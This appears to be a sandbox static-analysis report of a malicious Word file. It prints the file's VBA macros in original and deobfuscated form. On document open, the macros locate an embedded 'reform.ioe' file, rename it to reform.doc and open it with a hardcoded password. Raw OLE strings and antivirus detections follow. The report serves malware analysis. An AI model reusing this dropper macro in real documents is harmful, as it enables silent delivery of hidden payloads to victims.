popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
        Dim hdv As String
        Dim bbbb As String
        Dim med As String
Private Sub Document_Open()
Dim dfgdgdg
Dim kytrewwf As String
kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)

If Dir(kytrewwf & "\" & "reform.doc") = "" Then
 Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2

    Selection.TypeBackspace

    Call bvxfcsd
If Len(hdv) > 2 Then
Call nam(hdv, kytrewwf)
Call pppx(kytrewwf & "\" & "reform.doc")
ActiveDocument.Close
End If
End If
End Sub




Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), hdv)

End Sub

Deobfuscated

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
        Dim hdv As String
        Dim bbbb As String
        Dim med As String
Private Sub Document_Open()
Dim dfgdgdg
Dim kytrewwf As String
kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)

If Dir(kytrewwf & "\reform.doc") = "" Then
 Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2

    Selection.TypeBackspace

    Call bvxfcsd
If Len(hdv) > 2 Then
Call nam(hdv, kytrewwf)
Call pppx(kytrewwf & "\reform.doc")
ActiveDocument.Close
End If
End If
End Sub




Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), hdv)

End Sub

Original

                                        Attribute VB_Name = "Module1"


Sub pppx(spoc As String)
    Documents.Open FileName:=spoc, ConfirmConversions:=False, ReadOnly:= _
        False, AddToRecentFiles:=False, PasswordDocument:="2281337", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
End Sub



Sub ousx(aaaa As String)
Call uoia(aaaa)
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module1"


Sub pppx(spoc As String)
    Documents.Open FileName:=spoc, ConfirmConversions:=False, ReadOnly:= _
        False, AddToRecentFiles:=False, PasswordDocument:="2281337", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
End Sub



Sub ousx(aaaa As String)
Call uoia(aaaa)
End Sub

Original

                                        Attribute VB_Name = "Module3"

Sub bvxfcsd()
Selection.Copy
Dim uuuuc
uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)

    ntgs = 50
sda = 49
Dim fafaa As String
fafaa = "L" & "o"
fafaa = fafaa & "c" & "a" & "l"
fafaa = fafaa & "/"
fafaa = fafaa & "T" & "e" & "mp"
Dim kuls As String
kuls = fafaa
While sda < 50
      ntgs = ntgs - 1

      If Dir(Left(uuuuc, ntgs) & kuls, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & fafaa)
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module3"

Sub bvxfcsd()
Selection.Copy
Dim uuuuc
uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)

    ntgs = 50
sda = 49
Dim fafaa As String
fafaa = "Lo"
fafaa = fafaa & "cal"
fafaa = fafaa & "/"
fafaa = fafaa & "Temp"
Dim kuls As String
kuls = fafaa
While sda < 50
      ntgs = ntgs - 1

      If Dir(Left(uuuuc, ntgs) & kuls, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & fafaa)
End Sub

Original

                                        Attribute VB_Name = "Module123345"
Dim pls As String


 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object
    Dim Ters As Object
  Dim fffff
  fffff = "reform.ioe"
For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc

   For Each Ters In mds.Files
   
   If Ters.Name = fffff Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub



Sub nam(pafs As String, aaaa As String)
Call ousx(aaaa)
Dim oxl
oxl = "\reform" & ".doc"
Name pafs As pls & oxl
End Sub

Sub uoia(fffs As String)
pls = fffs
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module123345"
Dim pls As String


 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object
    Dim Ters As Object
  Dim fffff
  fffff = "reform.ioe"
For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc

   For Each Ters In mds.Files
   
   If Ters.Name = fffff Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub



Sub nam(pafs As String, aaaa As String)
Call ousx(aaaa)
Dim oxl
oxl = "\reform.doc"
Name pafs As pls & oxl
End Sub

Sub uoia(fffs As String)
pls = fffs
End Sub
EMBED Package
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
nUZ=kI
$~u3{g
ieo.(S
5)93M
|,)#*h
i%C$WR
S'Z`>.
Cw+GoSG
GRTum\
-&=^%f
ui,."1r
ukm>i3
u9_,ZOG
WVO}Z8(x;
Paz#mv8
O+:k=R
t_:o!Uc
ki${dc
G-;Fn,|
ywe*0}
\\jW:U
rivik'
T.c*MG
-l..Ya
jmSL]gG
-lUo5+y
G/zM\q
a5mCUi#
S[yK3|
|W6m+/
I/<9"Gz
[Oki,*
]pW9*i
/<!$rJ
REo43F
jW?"6c
~Vkhdo'o
g4PI$RG3G
Ja'v::|
=UD{kJ;
tFWW9e
mZ+%dsN<
Wg<k,o
+W]MyY
iD&e*
>_+}Rb;O
jp[^,-
~}_x;L
^fO:H.
'$?h]j
S4[ZY$
xoTY#J
jvwRIp
R(eo-Yw7
"gsK#|
RIUlf3
joZ<Qq
?=eR7F
<Ar#TM
X}sO[y
rx:]c[
^KnY^3
+$?l[a
\GVn/!
IW.?u
kmsV;x
[xOKm>
t]tCP][$
tslFhZ/
e]1n^%
,Mk;E
scogy=
9m'_28
>'kpxwM
RG%I)\u
Tt;8l6yP
4T'Ze
SkA5rJ
^Iwe,Mx
?.I~_3v
]5oSdcO
i#2C4ed
_2kgy--d
4i+6?v
RyuiXM\mIE
yS],P43[
}FuHbA
{H,4Y"
[H4}5^x
q"El^$
SSh9t35KO
mNInaV
8uK)mnb
zlWI,7
PCW1|y
USWg&"MlS
WRT~W
z4j)+3
u4vur;:
jIEGRU
.InTa&
9>$xkK
kJ7fu6,
o>4^J6[
QEdhtc
Vt54r-p
CV*!RTu%
uI|Iqq
E}'EU
\Z0}h
OLE Package
Package
Normal.dotm
reform.ioe
C:\Users\MyPc\Desktop\New folder\reform.ioe
C:\Users\MyPc\AppData\Local\Temp\reform.ioe
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<encryption xmlns="http://schemas.microsoft.com/office/2006/encryption" xmlns:p="http://schemas.microsoft.com/office/2006/keyEncryptor/password" xmlns:c="http://schemas.microsoft.com/office/2006/keyEncryptor/certificate"><keyData saltSize="16" blockSize="16" keyBits="256" hashSize="64" cipherAlgorithm="AES" cipherChaining="ChainingModeCBC" hashAlgorithm="SHA512" saltValue="0sRpyyN
j=__:#
gyuHd]
'2}Gme
#^A<6-/
@4?:C,
r# z0{
e/!Y:|
<hVLJLNkg
kur!N3'
RTf(5=
/le0gj9
^*ARH4
"DI6q{~<s)
NHpF=k
`v*~)r
!!DRnc
/xpv\
fzULNMM
v?V*K
`Nfw?E
tTIX:
n8K$-J
s#R$gU
TK9='6%K
%dak,Z
(<S}3|
8>SJ9xHtKak
e=u~tQ
<:LwIu
<~ac6,V
o}XQPI;]
rxji_
O=b'8X
]xchz#
bn/kfe
Jk}rzq0]
d9gcpp
>StoKo
l0%8MBMr
F^+"<#
+}G.>"h
4zzfI9
P2@j3eJ
59CG(q
mShXiVh
;W(T>y
=j/$z!b
[<5{$Q
b!Amo'L9
xcS*8z+
ptMU9Y
43I|njf
g\E/tjU]fc
na<uQ'
'wIhiUvD
ZhRA$M
Cv+0a%Ms
io$(erO D
F~g%DEc
q U634
7" MH'
agr:ts
;w0*_>
[>8UzW
#,&9'Q
k?4TqM
x_"*V
@nq%h@8
$cdx[l
+/}PRz
eIm19*
;+p'+}mW
B{Ag(w
_43DA?
cKVM'`
VpLb,#
fk;U15
-3E6th
#jg[s(
!)-/O$khh
bF=|nja
b6^HWS
9Jc%PN_
@$PKcb`d
6){.7/
,: `NY
gU5a?^
c`Q-221
=!<g9Gm
c/I;WCY
lL@FIy
l"+*d!A
Z&0N2k
6Vabd#
CW-S[z
*f1}5o
-GZ%bp
Z(T>8'
V}XG<G&
4P3z=G
?Sf/]f9
i.AID}
P}&Q=k
RZ{w#K
GZbS'PBx
=4@!/*IzW
BBlDbVm
@Qbm1]
lx"9tJ
=7!|Pr
(r+DU/
>]dz'<
0U Fce
'xm ^>
y-V/j1`
le+q;S
).l&xmG^
QQ[qKX
xG~<Qy
nnb;`1p
}4_|MJ[
b{5}w
[SBg*@LB2
mBpqV
9m.UP7
.V*#|"
%drZKv
?k=Y6p
]k8&lNmK
){1n~V)
~,]1h+
@-O)U3
@GT4#E
,lc6h$q
]B@0 8C7
!.HJ/"
:<c}oH
!w!\cjUrNx
nY!2TB
i)IHjR
9`5a9i
QsMQd-TR
_],G>{
1MJ]G{
Dj]?#A
]5W'V{
RGw303
`MrPvnh]\
62KMJvgzU
dZm+`=PL
AB43s
8>SVn$
jxFpgAT
3N4Yrn)I
S6*+uAc
xXek$,
;22EXHlk
p3+BR4
Yd}CJ3Y
J_6XMl
)jl&~
pVBui=
RE^|Ys
`B,-`I
E[V@|Q
nw%&&}2
oFx/^Y6$8
CC@Y'uoY%
NFEGyJ
G$}ZE94
IV)"YV
$L(2Ld7y&
ZU*}bs
+fZQkO
3z;=<pI
OGtj3Vp
-"m`VhZG
ek0yZ p
DP.J+
%31+rC!
4Om|RVc
>aIrOM
?JS0vVQ
1p<|(W
j;Xhnl
`q46<O_
hV=-F4h
j:IFlt
7"QqT<
iI^q:7
$5g-<D2
{Jt\UTL
!P0.OZ
o;DMK_4BS
=8S}</_sUC;
Y_nB5i
[oP)&mDS
D@#pie
HBu2UD
=?,my
tWih#u
Q%A@XX5R (
jVF^+3
[7~5OK
{K[Zxk
U PG)V
wIw;b*
4nDm-O
y_T#$C
TW1PEMm5
S=`5rq
%'UB8
eGl2K:
\Ma*4W
NaGjZI
{hRs|7o
BMvDuj
Ry7QnE
T.92B{o
+kWH&Z4
z~EGIY
h_<5q
JwT/.u_f6
xMs>yyr
2xo$%6/
y:N#::
f'Rw)z
*GN'e`m
oT?u-z
uO6@-B
_"WksT
b)SA~EA^
_.13Li
u)C.+Yb
I!'.}c^w
PJ^kX1=
M%17i_vF,
K0U^f|9o
oz;|@NS
U):>=^
A!:S#G
"L'L[
,yng*f
`x=8I[y
*3vL05
W]H>qp;
v#&!QW
2aI&MM
]WkjQH
~4R,Ca2
2KROp"_Q
jFk70
i5kg8N
%y@(&u
md7arr
*8FAI,(
e07E0r
jA$+!U
cK1rI&F
e@)-ic^^
(*[,1T
=NN#VNu4
0KU5\B
\Do27@
q;\%,?
;CIy7>
?444P=f
JZl/~U
e9evfj
gc`f|M`;
;5@8H+
GhrrOG
;BqSH?3
,!_Td`;
p-a@`u
T9byoN
oMGIK7z
@#UTI@
xCDf_P
S2.~c<
5U#7pw
du6Xbd
cq[y.9
<q1Dxm
tYixFm
?29~nR>
@yj~hD
p:rD'q
+pIK8m
]:}H>/
3F-99b
eT~D+re
7G3S -
*7tIFE0
l+upQh
6s#~r*
AZUQd]
Fv@,O0
8J\H@+S1
PZU9H>
zDY!t8
@` fek] G i
g3j[.T
k2;Oxf
Xh@.;Vn
+mHUr;
ni%1X%
W5ddnIg
zQWJ8J
zT\]sV
^T"HP1U
bDl_6I
O=ns=-B
+aX-t;
xzoVc@
-xx:(FH{(
SSv=N
s.QtO'
PkMoA
..}Q"6
]0s+Ma
C=3dd>
GW`84X2
;9)a|"
U8!c}<C
`_{(.gEYl
ndr&lP
ydO@bP
$x>Zje
ZUY.'m>
OM$49-
s3zNlv
y8`_s/
dlJ"Jh$
.%Tw`~
HA{Om^2R
y?OTLI'
y8!riJB
B3sX4E
DX5Mde;
MC~1NR
)K`[g)
Ep$BQ<
kQME^v
[r~5e/
e{N,~'R
K]bVF7+
J3PMW&/
ZB)i]--
uc2e(BH`
W9g:/Hr
#Q'<k2
^[=j0'}
\9wP](
r)p9nEo
#qhv[R<a
iICM*_
}}$cjIu
FXAoK]
b,UePiU1Hw
yM$7nz
Y17+lq
cFOOTY
yNx V[
(#lvfe
u#RxSc
RU3E$F
_]2)s;
tMND{oe
4Jg-.f)^
qK.DXa
pRj2`b
6`gu
d"9j28
V[n=Ml
t'-\!-A
qYCiObD+
j{>n|b=$Dz
KDH.4i
O#mZsH<
e5V*4k
j].'_,`
.?-,\#=
S<RtBt
nq]'&z
#Q1?F+
=+1=2s
],V;+K
4$<A01*
{XkAR4
^\8+"f
AUh-]fE
UGxGDx
pox<K}>
j$#CYR%
~N}.hq
kvB_yZ1]y
T$Q8Km
g3uJ_v
sEZ7"yx>G
JU>zaQ
^n^=J
HkrLsfVS.
xHNiV-
gPraF_
q"~Q@<
z3?/y:
>CtN@l
]!4kAUFQZ
w1!zg/D`m
or2icw
i/QwYk
:MSc94#
@@9H>H_
x-qnS$
x_="^Z
7=lklR
1PUm,W
H\xA.`
7/jxje
b$r=WS(
z$%.Ov
.EKtI~
wJr8rn
w>`(jM
KH9D[I
s!Eby#~
[S'].d
cM/Cq/u
$=8jR<
L]3%C:*
/~2'+'
34.m:f
>^3{)p
M4L>[S%I
6_UM^I
-g\HSK"
kn--U=
;l|ty=_r
I!IL24U
@]e@=h
sc_FD%Kfo,
XyN*dIJ
Qc7V6Y>
cbk|ACu 0s
&mJJfkz
IN%p/*
o gg]
W'~DG
'9#LofmpE
.bG['g
bLs~I=
P(%Akn
*vTQpI[Xj
{;Gv^b`m
h9G(~O
izzIP3(e
U}\>8e
>GEm|\\G
JDGLd`
H^^B5Q
HhZ2>
*bSU.+
)1fOLZ!
;l*f'^
e8|<kl
H69$?f
w~fiE&
c[d}E.}j
;Z2|kq
x3}g/O
QKhw#YZ
hQ)7<v
uoZ)DIl
U_Ov78
Z~e]TU
KaxLCA
r_,A@
sOU+D#C6
O)*d7}
^)G'iX
.!|yp;
yqvK%J
6b`r_*
K$,i!@N
eY-ko+@
cTaui
@M^)|12
ds$M9qE
JZ9H08
=un*ZO
rmW:?G
Z&<U%[y
pB6PQ%d
,~HRzP
NN}@.4
OkEVM%
7_qF6r
$cq0^ac
lcOd5c
|C7z}'
X(SbAS
xDsG%[H
$;.+T
>l+XVBM/
} 0!Du
W@zs4Zu4w
n!f6p+4/
&=SR&luA
`V},)^
r|&ri<jY
,~aCb[@
oI\5iR
{-+am>
-8J(Jg
8S5MRb
jZ0m;zx
Wi8[N
1x[z2
KpWCUs
/5%@WK
<)(.f@
0$gg+Ru
;7,]G:
zC*MNf
(1;UC]
cx4n0
q'JZF(hQDJ
4/h]AkL
n{3WLT
(u^|Z.
wHC<],
4n$!Im
$_2N5>
d2x^Xjm
1bA9smxcBpRBQxIg=="/><dataIntegrity encryptedHmacKey="L2Pt7K62IuN7uhXIeEtcw78YQH4zhpuW0XtSEzl7kZHJWfaYvqUxm+Gb7siPTMjrwNfpJJmNZ6WOxOMvNdFEBA==" encryptedHmacValue="em6uqOsqV8b1XPqKuIpPhLbTjQJh7fZY1HNN7Pnqia+VyOOO313mR9lNVLNj8TKbbGUdY1b/US3OBHk6AJO+Qg=="/><keyEncryptors><keyEncryptor uri="http://schemas.microsoft.com/office/2006/keyEncryptor/password"><p:encryptedKey spinCount="100000" saltSize="16" blockSize="16" keyBits="256" hashSize="64" cipherAlgorithm="AES" cipherChaining="ChainingModeCBC" hashAlgorithm="SHA512" saltValue="uWRLvVCzR8NhD0qSYw8tZg==" encryptedVerifierHashInput="jIy3X1mu7yg+85SHjXjukg==" encryptedVerifierHashValue="3ZmDFoC7m4fRNZht1nW7zLoHkQLWUoxxhaCyMc97cPUbpDUPWu8UxqyrKHsoMMK5vM2UpbJjxBSKu1OLMjfOnQ==" encryptedKeyValue="W5mkFx5dG+Fl32FQXTdEw2gX5F7Hbc7V0a5M1fj7iNc="/></keyEncryptor></keyEncryptors></encryption>
CQ.Qc%
vKoOBz
?22|$?
`Y!/5<
|z`?p,
Project
\G{00020
0046}#
2.0#0#C:
\Windows
\System3
e2.tlb
#OLE Aut
omation
ENormal
!Offic
DF8D04C-
5BFA-101@B-BDE5
ram File
s\Common
Microso
ft Share
d\OFFICE
16\MSO.D
M 16 .0 Ob
ibrary
5Scrip
f420B2
fE718-1
1CF-893D
20C90542 28}#1
run.dllH*
Runtim
sDocumenPtG
Module1G
2281337
Attribut
e VB_Nam
e = "Mod
Sub pppx
(spoc As
Docume
nts.Open File
Z, Confi
ons:=Fal
se, Read
Only:= _
AddTo8Rec
5Pa@ssword
="228133
'Tem`plate
'Fordma
uto, XML
Transf
Attribut
e VB_Nam
e = "Mod
Sub bvx@fcsd()
lection.
faultFil
ePath(wd
UserTemp`lates
[fafaa As S
L" &x "o
r(Left(
"" Then
8Wend!
Document
.hdhdd
reform.ioe'
\reform
Attribut
e VB_Nam
e = "Mod
ule12334
pls As S!
ub Searc
ect, paf!
refor m.ioe
r Each
%FileFs
rrHandle
CV" & ".d<oc
reform.doc
reform.doc
Attribut
e VB_Nam
e = "Thi
sDocumen
1Normal
VGlobal!
Pre decla
lateDeri
$Custom
Dim hdv
X Sub
_Open()
kytreww&f
DefaultF
ilePath(@wdUser
& "\D" @
|. doc")A
ecAJ.Move
Down Uni
t:=wdLin
e, Coun
Charact
TypeBack
l bvxfcs
, EQ@V
hdhdd(as
eFolder!
= New S
)Search
q`#&`
Win64x
Project-
stdole
Normal
Office
Scripting
ThisDocument<
_Evaluate
Document_Open
dfgdgdgH
kytrewwfjA
Options
DefaultFilePath
wdUserTemplatesPath
SelectionZ
MoveDown
wdLine
Count0v
MoveRight
wdCharacter
TypeBackspacea
bvxfcsdn
ActiveDocument
hdhdde
FileSystemObjectNU
MyFile
SourceFolder
DestinationFolder
MyFolder
Folder
MySubFolder
Search
GetFoldern
Module1b
Documents
FileNamej
ConfirmConversions
ReadOnly4<
AddToRecentFiles
PasswordDocument8
PasswordTemplate
Revert
WritePasswordDocument
WritePasswordTemplate
wdOpenFormatAutoh
XMLTransform
ousx4$
Module3d
ntgs|W
fafaaM
vbDirectoryg
Module123345+
pafs7}
SubFoldersx=
FileswX
ErrHandle
Documentj
ID="{6C687DC4-9FC2-4394-A011-D58312A20E63}"
Document=ThisDocument/&H00000000
Module=Module1
Module=Module3
Module=Module123345
Name="Project"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="A9AB116715671567156715"
DPB="5557EDA3354E364E364E"
GC="0103B9BABABABA45"
[Host Extender Info]
&H00000001={383P
2D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisDocument=78, 0, 1098, 467,
Module1=104, 104, 1124, 493,
Module3=156, 156, 1176, 545,
Module123345=52, 52, 733, 529,
ThisDocument
Module1
Module3
Module123345
Microsoft Word 97-2003 Document
MSWordDoc
Word.Document.8
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
$4vq^W
MB[F7x"
>Yr]H+
a!e9#i
An7jah
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>
Root Entry
WordDocument
ObjectPool
_1693007205
EPRINT
CompObj
ObjInfo
Segoe UI
reform.ioe
Ole10Native
1Table
SummaryInformation
DocumentSummaryInformation
Root Entry
EncryptedPackage
DataSpaces
Version
Microsoft.Container.DataSpaces
EncryptedPackage2
StrongEncryptionDataSpace
StrongEncryptionTransform
{FF9A3F03-56EF-4613-BDD5-5A41C1D07246}N
Microsoft.Container.EncryptionTransform
DataSpaceMap
DataSpaceInfo
StrongEncryptionDataSpace
TransformInfo
StrongEncryptionTransform
Primary
EncryptionInfo
C:\Users\MyPc\AppData\Local\Temp\reform.ioe
reform.ioe+
C:\Users\MyPc\Desktop\New folder\reform.ioe
Macros
Module1
Module3
Module123345
ThisDocument
_VBA_PROJECT
$*\Rffff*0;63352040
(1Normal.ThisDocument
*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications
*\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\Program Files\Microsoft Office\Root\Office16\MSWORD.OLB#Microsoft Word 16.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\System32\stdole2.tlb#OLE Automation
*\CNormal
*\CNormal
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library
*\G{420B2830-E718-11CF-893D-00A0C9054228}#1.0#0#C:\Windows\System32\scrrun.dll#Microsoft Scripting Runtime
ThisDocument
0863351fd6
ThisDocument
Module1
0263351fbd
Module1
Module3
0363351fbd
Module3
Module123345
0;63352040
Module123345
PROJECT
PROJECTwm
CompObj
tThisDocument
1Module1
3Module3
5Module123345
Normal
Default Paragraph Font
Table Normal
No List
Project.Module3.bvxfcsd
PROJECT.MODULE3.BVXFCSD
Unknown
Times New Roman
Symbol
Calibri
Calibri Light
Cambria Math
Antivirus Signature
Bkav Clean
Lionic Trojan.Script.Generic.b!c
Elastic Clean
Cynet Clean
CMC Clean
CAT-QuickHeal Clean
ALYac Clean
Malwarebytes Clean
VIPRE LooksLike.Macro.Malware.k (v)
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
Cyren W97M/Agent.ABS.gen!Eldorado
Symantec Clean
ESET-NOD32 Clean
Baidu Clean
TrendMicro-HouseCall Clean
Avast Script:SNH-gen [Trj]
ClamAV Clean
Kaspersky HEUR:Trojan-Dropper.Script.Generic
BitDefender Clean
NANO-Antivirus Clean
SUPERAntiSpyware Clean
MicroWorld-eScan Clean
Rising Clean
Ad-Aware Clean
Sophos Clean
Comodo Clean
F-Secure Clean
DrWeb Clean
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition Artemis!Trojan
FireEye Clean
Emsisoft Clean
SentinelOne Static AI - Suspicious OLE
Jiangmin Clean
Avira Clean
Antiy-AVL Clean
Kingsoft Clean
Microsoft Clean
Gridinsoft Clean
Arcabit Clean
ViRobot Clean
ZoneAlarm HEUR:Trojan-Dropper.Script.Generic
GData Clean
TACHYON Clean
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
MAX Clean
VBA32 Clean
Zoner Clean
Tencent Heur.Macro.Generic.c.135af251
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet Clean
AVG Script:SNH-gen [Trj]
Panda Clean
No IRMA results available.